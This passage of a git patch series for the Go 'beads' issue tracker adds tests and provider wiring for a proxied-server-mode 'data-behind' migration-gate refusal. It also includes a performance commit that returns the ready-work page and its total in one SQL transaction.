= true + return e + } + + for _, shared := range []bool{false, true} { + msg := proxied(shared).UserMessage() + for _, want := range []string{ + "proxied-server mode", "proxy.dolt_pull.unsupported", "server host", + DataBehindRemedyCommand, AllowRemoteMigrateEnv + "=1", + } { + if !strings.Contains(msg, want) { + t.Errorf("shared=%v: proxied body missing %q:\n%s", shared, want, msg) + } + } + d := proxied(shared).AgentDirective() + for _, want := range []string{"proxy.dolt_pull.unsupported", "do NOT attempt it here"} { + if !strings.Contains(d, want) { + t.Errorf("shared=%v: proxied AgentDirective missing %q:\n%s", shared, want, d) + } + } + opts := proxied(shared).Options() + if opts[0].ID != "pull-first-on-server-host" { + t.Errorf("shared=%v: pull option id = %q, want the host-qualified id", shared, opts[0].ID) + } + // The command itself is unchanged — it is the right command — so an + // agent that reads only Commands must find the qualification in the + // precondition it is required to check. + if len(opts[0].Commands) != 1 || opts[0].Commands[0] != DataBehindRemedyCommand { + t.Errorf("shared=%v: pull option commands = %v, want [%q]", shared, opts[0].Commands, DataBehindRemedyCommand) + } + if !strings.Contains(opts[0].When, "proxy.dolt_pull.unsupported") { + t.Errorf("shared=%v: pull option precondition must name the refusal:\n%s", shared, opts[0].When) + } + } + + // Nothing above may leak into the ordinary embedded/server-mode stop, + // whose remedy IS runnable where it is printed. + direct := base(true, false).UserMessage() + for _, forbidden := range []string{"proxied-server mode", "server host"} { + if strings.Contains(direct, forbidden) { + t.Errorf("non-proxied body gained %q:\n%s", forbidden, direct) + } + } + if base(true, false).Options()[0].ID != "pull-first" { + t.Error("non-proxied pull option id changed") + } + }) } // TestSmartGateEnabled pins the default-on contract: unset and unparseable diff --git a/internal/storage/uow/data_behind_migrate_gate_test.go b/internal/storage/uow/data_behind_migrate_gate_test.go new file mode 100644 index 000000000..d137d0488 --- /dev/null +++ b/internal/storage/uow/data_behind_migrate_gate_test.go @@ -0,0 +1,288 @@ +package uow + +import ( + "context" + "errors" + "fmt" + "regexp" + "strings" + "testing" + + "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// dataBehindCurrent is a schema cursor at or above the convergence floor +// (schema.LastNonDeterministicMigration) and below this binary's latest, so the +// smart gate reaches the equal-version first-mover arm with migrations still +// pending — the only arm where the #6575 ancestry check runs. +const dataBehindCurrent = 65 + +// expectSmartGateDataBehindRoute mocks the smart router's reads for a clone +// that is LEVEL with the cached remote ref on schema and BEHIND it in data: +// the local hashes, the active branch, the remote ref's hashes (identical, so +// no skew and the same max version), and finally the ahead/behind commit +// counts the #6575 check reads through the injected adopter. +// +// The last query is the one that did not happen before this fix: with a nil +// adopter localDataBehind short-circuits, so the route ended at +// smartAutoMigrate and the refusal reported shared-store instead. +func expectSmartGateDataBehindRoute(mock sqlmock.Sqlmock, ahead, behind int) { + hashes := func() *sqlmock.Rows { + return sqlmock.NewRows([]string{"version", "content_hash"}). + AddRow(dataBehindCurrent-1, "hash-a"). + AddRow(dataBehindCurrent, "hash-b") + } + ref := "remotes/origin/main" + + mock.ExpectQuery(regexp.QuoteMeta("SELECT version, content_hash FROM schema_migrations")). + WillReturnRows(hashes()) + mock.ExpectQuery(regexp.QuoteMeta("SELECT active_branch()")). + WillReturnRows(sqlmock.NewRows([]string{"branch"}).AddRow("main")) + mock.ExpectQuery(regexp.QuoteMeta(fmt.Sprintf("SHOW TABLES AS OF '%s' LIKE 'schema_migrations'", ref))). + WillReturnRows(sqlmock.NewRows([]string{"table"}).AddRow("schema_migrations")) + mock.ExpectQuery(regexp.QuoteMeta(fmt.Sprintf("SHOW COLUMNS FROM schema_migrations AS OF '%s' LIKE 'content_hash'", ref))). + WillReturnRows(sqlmock.NewRows([]string{"column"}).AddRow("content_hash")) + mock.ExpectQuery(regexp.QuoteMeta(fmt.Sprintf("SELECT version, content_hash FROM schema_migrations AS OF '%s'", ref))). + WillReturnRows(hashes()) + // versioncontrolops.LocalAheadBehind — reached only through a wired + // AheadBehind callback. + mock.ExpectQuery(`FROM dolt_log AS OF`). + WillReturnRows(sqlmock.NewRows([]string{"ahead", "behind"}).AddRow(ahead, behind)) +} + +// TestInitSchemaProxiedDataBehind covers the proxied/`bd serve` open path's +// half of gastownhall/beads#6575. +// +// The store-open gate on this path passed a nil adopter, so localDataBehind +// had no ancestry fact to read and the route could never emit smartDataBehind. +// A proxied clone that was level on schema and behind in data therefore +// reported the blunt shared-store refusal — whose body is the designated- +// migrator recipe, `bd migrate --force` then `bd dolt push`. In this state that +// recipe IS the #6368 wedge the stop exists to prevent, so the refusal was safe +// (the shared arm suppresses the auto-migrate either way) while the guidance it +// printed was not. +func TestInitSchemaProxiedDataBehind(t *testing.T) { + // newProxiedProvider returns a provider over a fresh mock with the two + // escape hatches pinned off, so the gate is reached on its own merits. + newProxiedProvider := func(t *testing.T) (*doltSQLProvider, sqlmock.Sqlmock) { + t.Helper() + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + t.Setenv(schema.SmartGateEnv, "1") + t.Cleanup(func() { + schema.SetSharedMigrateConsent(false) + schema.SetForceAllowRemoteMigrate(false) + }) + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + return &doltSQLProvider{ + defaultBranch: defaultBranch, + db: db, + serverEndpoint: "tcp:127.0.0.1:3306", + proxiedServerMode: true, + }, mock + } + + t.Run("routes to the data-behind stop instead of the blunt shared-store one", func(t *testing.T) { + p, mock := newProxiedProvider(t) + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 0, 2) + // Nothing between the route and the lock release: the refusal must land + // before MigrateUp issues its first statement. + expectLockRelease(mock, lockName) + + err := p.initSchema(context.Background(), "beads") + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("initSchema() error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if !gateErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q, Decision = %q — want the #6575 data-behind stop", + gateErr.FallbackReason, gateErr.Decision) + } + if !gateErr.Shared { + t.Error("Shared = false; this provider only ever serves a shared database") + } + if !gateErr.Proxied { + t.Error("Proxied = false; every refusal from this provider is a proxied-server-mode refusal") + } + + // The finding, stated as an assertion: the body an operator reads must + // not hand them the migrate-in-place recipe while they are still behind. + body := gateErr.UserMessage() + for _, forbidden := range []string{"bd migrate --force\n", "designated migrator"} { + if strings.Contains(body, forbidden) { + t.Errorf("proxied data-behind body still prescribes %q:\n%s", forbidden, body) + } + } + if !strings.Contains(body, schema.DataBehindRemedyCommand) { + t.Errorf("body must name the pull:\n%s", body) + } + // ...and because `bd dolt pull` is refused at the proxied front door, + // the body has to say where it can actually be run. + for _, want := range []string{"proxied-server mode", "proxy.dolt_pull.unsupported", "server host"} { + if !strings.Contains(body, want) { + t.Errorf("proxied body missing %q:\n%s", want, body) + } + } + // The env hatch is not the only consent surface that stays reachable + // here: the proxy refusal table keys on the command path and has no + // `migrate schema` row, so the forced schema verb falls through too + // (pinned in cmd/bd by TestProxyMaintenanceAllowsTheSharedConsentVerb). + // Both are read by forceOrEnvConsent before this stop is routed, so a + // warning that names only the refused bare `bd migrate --force` leaves + // the wedge reachable on exactly this topology. + for _, want := range []string{schema.AllowRemoteMigrateEnv + "=1", schema.SharedConsentCommandForced} { + if !strings.Contains(body, want) { + t.Errorf("proxied body must warn about the reachable consent surface %q:\n%s", want, body) + } + } + + opts := gateErr.Options() + if len(opts) != 2 || opts[0].ID != "pull-first-on-server-host" { + t.Fatalf("Options() = %+v, want the host-qualified pull plus the consent step", opts) + } + for _, o := range opts { + for _, c := range o.Commands { + if c == "bd migrate --force" || c == "bd bootstrap" { + t.Errorf("option %q offers %q, measured not to work in this state", o.ID, c) + } + } + } + + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + + // The counterfactual for the topology flag. This same provider is the one + // `bd serve` builds for a SERVER-mode workspace, where `bd dolt pull` is + // not refused — telling that operator to go find another machine would be + // the same class of wrong guidance in the other direction. + t.Run("a server-mode open keeps the runnable-here remedy", func(t *testing.T) { + p, mock := newProxiedProvider(t) + p.proxiedServerMode = false + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 0, 2) + expectLockRelease(mock, lockName) + + err := p.initSchema(context.Background(), "beads") + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("initSchema() error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if !gateErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q — the stop itself is topology-independent", gateErr.FallbackReason) + } + if gateErr.Proxied { + t.Error("Proxied = true for a server-mode open") + } + if body := gateErr.UserMessage(); strings.Contains(body, "server host") { + t.Errorf("server-mode body must keep the runnable-here pull:\n%s", body) + } + if id := gateErr.Options()[0].ID; id != "pull-first" { + t.Errorf("server-mode pull option id = %q, want %q", id, "pull-first") + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + + t.Run("a level clone is unaffected", func(t *testing.T) { + // The counterfactual for the wiring: same route, behind == 0. Reading + // the ancestry must not turn a genuine first-mover into a data-behind + // stop — it stays the shared-store refusal it was before this fix. + p, mock := newProxiedProvider(t) + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 0, 0) + expectLockRelease(mock, lockName) + + err := p.initSchema(context.Background(), "beads") + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("initSchema() error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if gateErr.IsDataBehind() { + t.Error("a level clone must not reach the data-behind stop") + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + + t.Run("read-only open prints the pull-first block, not the consent template", func(t *testing.T) { + // readThroughRefusedMigration's template names the shared consent verb + // for every refusal. For this stop that verb is doubly wrong: the + // remedy is the pull, and a remote-backed shared store never reads the + // bare verb's consent at all (schema.SharedConsentCommandForced). + p, mock := newProxiedProvider(t) + p.readOnly = true + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 1, 2) // diverged shape + expectLockRelease(mock, lockName) + mock.ExpectExec(regexp.QuoteMeta("USE `beads`")). + WillReturnResult(sqlmock.NewResult(0, 0)) + + var initErr error + stderr := captureStderr(t, func() { + initErr = p.initSchema(context.Background(), "beads") + }) + if initErr != nil { + t.Fatalf("initSchema() error = %v, want nil — reads keep working on the old schema", initErr) + } + for _, want := range []string{ + "Read-only command", "without migrating", + schema.DataBehindRemedyCommand, "MERGES", "server host", + } { + if !strings.Contains(stderr, want) { + t.Errorf("read-through warning missing %q:\n%s", want, stderr) + } + } + // Two-sided: the template's "run 'bd migrate schema'" line must be gone + // for this stop. Scrub the forms that DO work first — every forced form + // contains the bare verb as a substring. + scrubbed := strings.ReplaceAll(stderr, schema.SharedConsentCommandForcedGlobal, "") + scrubbed = strings.ReplaceAll(scrubbed, schema.SharedConsentCommandForced, "") + if strings.Contains(scrubbed, schema.SharedConsentCommand) { + t.Errorf("read-through still prescribes the bare consent verb:\n%s", stderr) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) +} + +// TestDataBehindAdopterWiring pins the shape of the injected adopter, not just +// its effect. Only AheadBehind is wired: it is the complete #6575 predicate, +// while leaving IsStrictAncestor/WorkingSetClean nil keeps routeAdoptFastForward +// returning false, so the remote-AHEAD arm on this path keeps the plain adopt +// directive it had before. FastForward must stay nil — it is a WRITE that would +// promote the schema for every co-resident client of this server. +func TestDataBehindAdopterWiring(t *testing.T) { + for _, readOnly := range []bool{false, true} { + a := dataBehindAdopter(readOnly) + if a.AheadBehind == nil { + t.Fatal("AheadBehind must be wired; it is the whole point of the injection") + } + if a.FastForward != nil { + t.Error("FastForward must stay nil: a fast-forward here promotes the schema for every co-resident client") + } + if a.IsStrictAncestor != nil || a.WorkingSetClean != nil { + t.Error("IsStrictAncestor/WorkingSetClean must stay nil so the remote-ahead arm is unchanged") + } + if a.ReadOnly != readOnly { + t.Errorf("ReadOnly = %v, want %v", a.ReadOnly, readOnly) + } + } +} diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index 9650495c4..371dc53ff 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -22,6 +22,7 @@ import ( db "github.com/steveyegge/beads/internal/storage/domain/db" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/storage/schema" + "github.com/steveyegge/beads/internal/storage/versioncontrolops" ) const ( @@ -52,6 +53,10 @@ type doltSQLProvider struct { // preview it still bootstraps and migrates normally — it only changes what // happens when the migration gate REFUSES; see providerOptions.readOnly. readOnly bool + // proxiedServerMode: the workspace that opened this provider is in + // proxied-server mode, so the commands the proxied front door refuses are + // off the table for its operator; see providerOptions.proxiedServerMode. + proxiedServerMode bool // eventsJournalEnabled activates the durable events journal for THIS // provider instance only. See SetEventsJournalEnabled. eventsJournalEnabled atomic.Bool @@ -122,6 +127,17 @@ type providerOptions struct { // working through the upgrade window. That is the same warn-and-continue // contract embeddeddolt gives its read-only-command intent. readOnly bool + // proxiedServerMode records that the WORKSPACE is in proxied-server mode, + // which this provider cannot infer: it is the single funnel for the + // proxied CLI and for `bd serve`'s own provider on a SERVER-mode + // workspace, and both front a Dolt sql-server through the same dbproxy. + // The distinction matters to exactly one thing — which commands the front + // door refuses. In proxied mode `bd dolt pull` is rejected before it opens + // anything (proxy.dolt_pull.unsupported), so the #6575 data-behind stop + // has to name where that pull can be run; on a server-mode workspace the + // same command works, and saying otherwise would be the same class of + // wrong guidance in the other direction. + proxiedServerMode bool } // WithPreview opens the provider for a non-mutating preview command. @@ -134,6 +150,13 @@ func WithReadOnly() ProviderOption { return func(o *providerOptions) { o.readOnly = true } } +// WithProxiedServerMode marks the open as belonging to a proxied-server-mode +// workspace. See providerOptions.proxiedServerMode: only the refusal guidance +// depends on it, and only the proxied CLI open may set it. +func WithProxiedServerMode() ProviderOption { + return func(o *providerOptions) { o.proxiedServerMode = true } +} + func applyProviderOptions(opts []ProviderOption) providerOptions { var resolved providerOptions for _, opt := range opts { @@ -264,10 +287,18 @@ func (p *doltSQLProvider) initSchemaAttempt(ctx context.Context, database string // database by the time it runs, so a fresh bootstrap reads version 0 // and passes. schema.WithMigrationGate(func(ctx context.Context, c *sql.Conn) error { - return schema.CheckSharedStoreMigrateGate(ctx, c, "", nil, nil) + return schema.CheckSharedStoreMigrateGate(ctx, c, "", nil, dataBehindAdopter(p.readOnly)) })); err != nil { var gateErr *schema.RemoteMigrateGateError if errors.As(err, &gateErr) { + // The gate reads the database, never the workspace, so it cannot + // know which commands this operator's front door will refuse. Only + // a proxied-server-mode workspace refuses `bd dolt pull`, and this + // provider also serves `bd serve` on a server-mode workspace, + // where that pull works — so the flag is the caller's, not a + // property of being behind a proxy (gastownhall/beads#6575 + // follow-up). + gateErr.Proxied = p.proxiedServerMode if p.readOnly { return readThroughRefusedMigration(ctx, conn, database, gateErr) } @@ -281,6 +312,39 @@ func (p *doltSQLProvider) initSchemaAttempt(ctx context.Context, database string return nil } +// dataBehindAdopter injects the one ancestry fact the smart gate's #6575 +// data-behind check needs on this path. Without it localDataBehind short- +// circuits on a nil adopter, so a proxied store that is level on schema and +// BEHIND the remote in data could never route to smartDataBehind: it reported +// the blunt shared-store refusal instead, whose body names `bd migrate --force` +// and `bd dolt push` — the designated-migrator recipe, which in this state is +// the #6368 wedge the stop exists to prevent. The refusal itself was always +// safe here (the shared arm suppresses the first-mover auto-migrate whatever +// the ancestry says); the guidance it printed was not. +// +// Only AheadBehind is wired, deliberately. It is the complete data-behind +// predicate (behind >= 1 whatever ahead is, plus which shape), so the stop is +// fully covered — while leaving IsStrictAncestor/WorkingSetClean nil keeps +// routeAdoptFastForward returning false, so the remote-AHEAD arm still routes +// to the same plain adopt directive it does today. Nothing but the data-behind +// state changes message. FastForward stays nil for a stronger reason: the +// fast-forward is a WRITE that would promote the schema for every co-resident +// client of this server, which is exactly what the shared gate refuses to do +// unattended (#5920), and CheckSharedStoreMigrateGate suppresses it on a +// shared store regardless. +func dataBehindAdopter(readOnly bool) *schema.FastForwardAdopter { + return &schema.FastForwardAdopter{ + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, + // No FastForward is wired above, so canAutoFastForward is already + // false and this flag changes nothing today. Set anyway so the + // adopter's safety invariant ("ReadOnly means cannot write here") + // does not come to depend on that coincidence. + ReadOnly: readOnly, + } +} + // readThroughRefusedMigration serves a read command from a database the // migration gate refused to migrate: warn, attach at the current schema, and // carry on. Writes remain refused (they open without WithReadOnly), so the @@ -306,6 +370,19 @@ func readThroughRefusedMigration(ctx context.Context, conn *sql.Conn, database s // the refusal, which is the actionable half. return backoff.Permanent(gateErr) } + // #6575: the data-behind stop's remedy is the pull, and the consent verb + // this template names does not unlock a remote-backed shared store at all + // (schema.SharedConsentCommandForced). Print that stop's own block, which + // REPLACES the migrate-or-adopt framing rather than decorating it, and say + // only what read-through adds on top. + if gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "Warning: %[1]s"+ + " Read-only command: continuing on schema v%[2]d without migrating.\n"+ + " Writes stay blocked until the steps above are done.\n", + gateErr.UserMessage(), gateErr.CurrentVersion) + return nil + } fmt.Fprintf(os.Stderr, "Warning: %[1]v\n"+ " Read-only command: continuing on schema v%[2]d without migrating.\n"+ @@ -686,6 +763,7 @@ func openAndInitSchema(ctx context.Context, ep proxy.Endpoint, database, rootUse expectedProjectID: expectedProjectID, preview: opts.preview, readOnly: opts.readOnly, + proxiedServerMode: opts.proxiedServerMode, } if err := initProvider.initSchema(ctx, database); err != nil { @@ -719,5 +797,6 @@ func openAndInitSchema(ctx context.Context, ep proxy.Endpoint, database, rootUse expectedProjectID: expectedProjectID, preview: opts.preview, readOnly: opts.readOnly, + proxiedServerMode: opts.proxiedServerMode, }, nil } From 3c30a28d07cb3ad923a4bb7450176855abbb40fe Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 24 Sep 2026 23:50:09 -0700 Subject: [PATCH 073/624] perf(ready): answer the page and its total in one pass (#6731) * perf(issueops): answer a ready page and its total in one pass `bd ready --json --limit 1` against a remote SQL store (~55 ms per round trip) took 5.4 s and ~100 sequential round trips; `--limit 0` (557 rows) took 3.8 s. Asking for one row was slower than asking for all of them. The data is small, so the cost was purely statement count: - a capped page re-ran the whole ready predicate in a SECOND transaction (CountReadyWorkInTx, behind a second defer-wake sweep) just to print "Showing 1 of 556"; - every leg re-probed the same facts: wisp_dependencies existence, wisps emptiness, and the future-deferred-parent scan (2 probes + 4 child queries), once per table family and again in the count pass. This change: - Adds a per-transaction probe (probeReadyWorkInTx): one statement of EXISTS subqueries answers wisps-present, wisp_dependencies-exists, future-deferred-parent-exists and (when sizing) issues/wisps ID collision; the deferred-parent children are then read in one UNION ALL instead of four queries. The facts and the rendered ID sets are shared by both families. A missing-table error (pre-wisp database) falls back to the old per-table probes, so their tolerance and error classification are unchanged. - Adds GetReadyWorkWithCountsAndTotalInTx and DoltStorage.GetReadyWorkWithCountsAndTotal: the capped page's ID query carries COUNT(*) OVER (), evaluated over the full predicate before LIMIT, so the total costs no extra statement. The overlap count only runs when the probe saw an ID in both tables. Window functions are supported by every engine this code runs on (Dolt/go-mysql-server server and embedded, MySQL 8, Postgres, SQLite >= 3.25). The externaldeps decorator overrides the new method so its exclusions apply to page and total alike, and now also overrides ReadyCounter() so the text-mode total honors the same exclusions (it used to pass through to the inner store and count externally blocked issues); telemetry instruments the new method. - CountReadyWorkInTx (ReadyCounter role, text `bd ready`) uses the probe and counts both families in one statement. Whole-command statements for `bd ready --json`, counted from a local dolt sql-server query log (13 of each are startup/config reads this change does not touch): store --limit 1 --limit 0 issues only 28 -> 18 20 -> 17 issues + wisps 34 -> 19 23 -> 18 issues + wisps + deferred epic 46 -> 20 29 -> 19 TestReadyWorkStatementBudget holds the per-transaction statement count at or under today's budget on embedded Dolt. TestReadyWorkPageTotal and TestReadyWorkPageTotalFilterMatrix check the page and total against hand-written expected ready sets (wisps, deferred parent, blocked, ID collision; sorts, label/assignee/priority/type/parent/deferred/exclude filters) and every capped page against the unbounded listing's prefix. stdout (plain and BD_JSON_ENVELOPE=1) and the stderr hint were byte-identical before/after for every case above. The one intended output change: with an external dependency present, the --json total (and the text "of N") now excludes externally blocked issues, as the page already did; before, the total counted them. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * perf(ready): take the --json total in-band instead of a second count pass `bd ready --json --limit N` listed a page, then - when the page came back full - opened a second store call (ReadyCounter.CountReady: a new read transaction plus its own defer-wake sweep) only to print "Showing N of M" on stderr and the pagination total in the JSON envelope. On a remote store (~55 ms per round trip) that pass is why `--limit 1` (5.4 s) was slower than `--limit 0` (3.8 s). The --json branch now calls GetReadyWorkWithCountsAndTotal, which returns the page and the size of the whole ready set from the same transaction. The total is the same identity the ReadyCounter role promises, taken over the listing's own filter, so the hint text, the envelope's pagination and the stdout JSON are identical except that the total now honors external-dependency exclusions (the externaldeps decorator applies them to page and total alike; the old second pass counted externally blocked issues). The text-mode branch still asks the ReadyCounter role, which the previous commit made cheaper and made apply the same exclusions, so text and --json report one number. The embedded CLI test now pins the exact "Showing 2 of N" hint and the envelope's pagination total against an unbounded listing. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- cmd/bd/ready.go | 38 +- cmd/bd/ready_embedded_test.go | 38 ++ engdocs/design/otel/otel-data-model.md | 21 +- internal/storage/dolt/queries.go | 15 + internal/storage/embeddeddolt/queries.go | 15 + .../storage/embeddeddolt/ready_total_test.go | 396 ++++++++++++++++++ internal/storage/externaldeps/decorator.go | 24 ++ .../storage/externaldeps/decorator_test.go | 72 ++++ .../issueops/counts_missing_table_test.go | 91 +++- internal/storage/issueops/ready_work.go | 79 +++- .../storage/issueops/ready_work_counts.go | 236 ++++++++--- internal/storage/issueops/ready_work_probe.go | 156 +++++++ internal/storage/issueops/search_counts.go | 4 +- internal/storage/issueops/wisp_routing.go | 2 +- internal/storage/storage.go | 6 + internal/telemetry/storage.go | 10 + 16 files changed, 1091 insertions(+), 112 deletions(-) create mode 100644 internal/storage/embeddeddolt/ready_total_test.go create mode 100644 internal/storage/issueops/ready_work_probe.go diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index 0db46e794..7c6ccdc66 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -174,7 +174,15 @@ This is useful for agents executing molecules to see which steps can run next.`, } if jsonOutput { - results, err := activeStore.GetReadyWorkWithCounts(ctx, filter) + // The page and the size of the whole ready set come back from ONE + // read transaction: the total rides the page's own ID query, so a + // capped listing no longer pays for a second counting pass (and a + // second defer-wake sweep) just to print "Showing N of M". Against + // a remote SQL server each of that pass's statements was a + // sequential round trip. The total is the same number the + // ReadyCounter role answers (storage.DoltStorage documents the + // identity), taken over the listing's own filter. + results, total, err := activeStore.GetReadyWorkWithCountsAndTotal(ctx, filter) if err != nil { if capErr := handleMaxRowsError(err); capErr != nil { return capErr @@ -183,15 +191,9 @@ This is useful for agents executing molecules to see which steps can run next.`, } totalReady := len(results) truncated := false - if filter.Limit > 0 && len(results) == filter.Limit { - // The page is full, so there may be more ready work. The - // ReadyCounter role promises its answer equals - // len(Reader.Ready(Limit=0).Items), which is what makes this - // total describe the page above it. - if n, countErr := readyTotal(ctx, activeStore, in); countErr == nil && n > len(results) { - totalReady = n - truncated = true - } + if filter.Limit > 0 && len(results) == filter.Limit && total > len(results) { + totalReady = total + truncated = true } if results == nil { results = []*types.IssueWithCounts{} @@ -224,9 +226,10 @@ This is useful for agents executing molecules to see which steps can run next.`, totalReady := len(issues) truncated := false if filter.Limit > 0 && len(issues) == filter.Limit { - // The same question the --json branch asks, through the same role, - // so the "Showing X of N" a human reads and the total a script - // parses are one number. + // The same question the --json branch answers in-band, asked here + // of the ReadyCounter role, whose answer is the same identity, so + // the "Showing X of N" a human reads and the total a script parses + // are one number. if n, countErr := readyTotal(ctx, activeStore, in); countErr == nil && n > len(issues) { totalReady = n truncated = true @@ -402,10 +405,13 @@ var blockedCmd = &cobra.Command{ // readyTotal sizes the whole ready set for the request `bd ready` just listed // a page of, through the store's own ReadyCounter accessor. // -// BOTH OUTPUT MODES CALL IT and only when the page came back full, which is +// THE TEXT OUTPUT CALLS IT, and only when the page came back full, which is // the one situation where the answer can differ from what is already on -// screen. The role has no --max-rows field to honor and needs none: the cap -// bounds a page this machine materializes, and a count materializes no rows. +// screen. The --json listing does not: it takes its total in-band from +// GetReadyWorkWithCountsAndTotal, in the page's own transaction. +// +// The role has no --max-rows field to honor and needs none: the cap bounds a +// page this machine materializes, and a count materializes no rows. // // A failed count is not a failed command — the page is already correct; all // that is lost is the "of N" beside it. diff --git a/cmd/bd/ready_embedded_test.go b/cmd/bd/ready_embedded_test.go index 88c36eb0a..ca6b29839 100644 --- a/cmd/bd/ready_embedded_test.go +++ b/cmd/bd/ready_embedded_test.go @@ -107,6 +107,44 @@ func TestEmbeddedReady(t *testing.T) { if !strings.Contains(stderr.String(), "Use --limit 0 for all") { t.Fatalf("expected truncation hint on stderr, got: %q", stderr.String()) } + + // The "of N" is the whole ready set, now taken in the page's own + // transaction: it must be exactly what an unbounded listing returns, + // in the hint and in the envelope's pagination alike. + all := exec.Command(bd, "ready", "--json", "--limit", "0") + all.Dir = dir + all.Env = bdEnv(dir) + allOut, err := all.Output() + if err != nil { + t.Fatalf("bd ready --json --limit 0 failed: %v", err) + } + var unbounded []types.IssueWithCounts + if err := json.Unmarshal(bytes.TrimSpace(allOut), &unbounded); err != nil { + t.Fatalf("parse unbounded ready JSON: %v\n%s", err, allOut) + } + wantHint := fmt.Sprintf("Showing 2 of %d ready issues.", len(unbounded)) + if !strings.Contains(stderr.String(), wantHint) { + t.Fatalf("hint = %q, want it to contain %q", stderr.String(), wantHint) + } + + env := exec.Command(bd, "ready", "--json", "--limit", "2") + env.Dir = dir + env.Env = append(bdEnv(dir), "BD_JSON_ENVELOPE=1") + envOut, err := env.Output() + if err != nil { + t.Fatalf("bd ready --json --limit 2 (envelope) failed: %v", err) + } + var envelope struct { + Data []types.IssueWithCounts `json:"data"` + Pagination *PaginationMeta `json:"pagination"` + } + if err := json.Unmarshal(bytes.TrimSpace(envOut), &envelope); err != nil { + t.Fatalf("parse envelope: %v\n%s", err, envOut) + } + if envelope.Pagination == nil || !envelope.Pagination.Truncated || + envelope.Pagination.Returned != 2 || envelope.Pagination.Total != len(unbounded) { + t.Fatalf("pagination = %+v, want returned=2 total=%d truncated", envelope.Pagination, len(unbounded)) + } }) t.Run("ready_claim_json", func(t *testing.T) { diff --git a/engdocs/design/otel/otel-data-model.md b/engdocs/design/otel/otel-data-model.md index 19f1347dc..6545b53d7 100644 --- a/engdocs/design/otel/otel-data-model.md +++ b/engdocs/design/otel/otel-data-model.md @@ -172,7 +172,7 @@ are inventoried here rather than repeated. There are two families. **Direct storage operations** — `storage.`, one per storage method -(72 spans): +(73 spans): ``` AddDependency AddIssueComment AddLabel CloseIssue CloseIssueChecked @@ -183,15 +183,16 @@ GetDependenciesWithMetadata GetDependencyTree GetDependents GetDependentsWithMetadata GetEpicsEligibleForClosure GetEvents GetIssue GetIssueByExternalRef GetIssueComments GetIssueCommentsPage GetIssuesByIDs GetIssuesByLabel GetLabels GetLocalMetadata GetProvenanceByRef -GetProvenanceEvents GetReadyWork GetReadyWorkWithCounts GetStatistics -IterAllEventsSince IterBlockedIssues IterDependenciesWithMetadata -IterDependentsWithMetadata IterEvents IterIssueComments IterIssues -IterReadyWork IterWisps ListWisps MergeMetadata MergeSlotAcquire -MergeSlotCheck MergeSlotCreate MergeSlotRelease RecordProvenanceEvent -RemoveDependency RemoveLabel ReopenIssue RunInIssueLifecycleTransaction -RunInTransaction SearchIssueIDs SearchIssues SearchIssuesWithCounts SetConfig -SetLocalMetadata SlotClear SlotGet SlotSet UnclaimIssue UnclaimIssueIfAssignee -UpdateIssue UpdateIssueChecked UpdateIssueType +GetProvenanceEvents GetReadyWork GetReadyWorkWithCounts +GetReadyWorkWithCountsAndTotal GetStatistics IterAllEventsSince +IterBlockedIssues IterDependenciesWithMetadata IterDependentsWithMetadata +IterEvents IterIssueComments IterIssues IterReadyWork IterWisps ListWisps +MergeMetadata MergeSlotAcquire MergeSlotCheck MergeSlotCreate MergeSlotRelease +RecordProvenanceEvent RemoveDependency RemoveLabel ReopenIssue +RunInIssueLifecycleTransaction RunInTransaction SearchIssueIDs SearchIssues +SearchIssuesWithCounts SetConfig SetLocalMetadata SlotClear SlotGet SlotSet +UnclaimIssue UnclaimIssueIfAssignee UpdateIssue UpdateIssueChecked +UpdateIssueType ``` **Issueops role operations** — `storage..`, emitted when a caller diff --git a/internal/storage/dolt/queries.go b/internal/storage/dolt/queries.go index 16f75ea87..b156cff12 100644 --- 